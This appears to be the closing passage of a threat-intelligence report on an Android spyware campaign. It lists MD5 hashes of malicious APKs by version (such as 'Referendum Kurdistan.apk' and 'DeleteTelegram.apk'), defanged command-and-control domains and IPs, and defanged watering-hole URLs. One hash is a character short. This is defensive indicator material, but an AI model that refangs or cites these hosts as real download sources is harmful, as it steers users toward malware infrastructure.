<td>6A388EDBCE88BB0331AE875CEEB2F319</td>
<td>AllInOne.apk</td>
</tr>
<tr>
<td>E2F62B5ACF3795A62E9D54E1301C4E7B</td>
<td>&lt;unknown&gt;</td>
</tr>
<tr>
<td>CB67ABD070AE188390FC040CBE60E677</td>
<td>Referendum Kurdistan.apk</td>
</tr>
<tr>
<td>699A7EEDD244F402303BCFFDEE1F0ED1</td>
<td>&lt;unknown&gt;</td>
</tr>
<tr>
<td><strong>Version 3.0</strong></td>
<td></td>
</tr>
<tr>
<td>7D7AD116E6A42D4E518378E2313E9392</td>
<td>Sexy_wallpaper.apk</td>
</tr>
<tr>
<td>A7D00C8629079F944B61C4DD5C77C8FB</td>
<td>ArabicRSS.apk</td>
</tr>
<tr>
<td>AC4402E04DE0949D7BEED975DB84E594</td>
<td>com.ann.newspaper.apk</td>
</tr>
<tr>
<td>B714B092D2F28CF78EF8D02B46DBF9C</td>
<td>Alnaharegpyt.news_v2.0.apk familyinnovation_app.apk</td>
</tr>
<tr>
<td><strong>Version 4.0</strong></td>
<td></td>
</tr>
<tr>
<td>519018ECFC50C0CF6CD0C88CC41B2A69</td>
<td>FirewallFA.apk</td>
</tr>
<tr>
<td>5AD36F6DD060E52771A8E4A1DD90C50C</td>
<td>DVPNEasy.apk</td>
</tr>
<tr>
<td>B44B91B14F176FBF93D998141931A4AA</td>
<td>DeleteTelegram.apk</td>
</tr>
</tbody>
</table>
C2 servers
entekhab10[.]xp3[.]biz
androidupdaters[.]com
dlgmail[.]com
rhubarb2[.]com
rhubarb3[.]com
5.61.27[.]154
5.61.27[.]157

Watering holes
hxzp://www.alnaharegypt[.]com/t~467369 ->
hxzp://showroommontorgueil[.]com/modules/homepageadvertise2/slides/alnaharegypt.news
_v2.0[.]apk
hxzp://www.alhayatnews[.]com/ArabicRSS[.]apk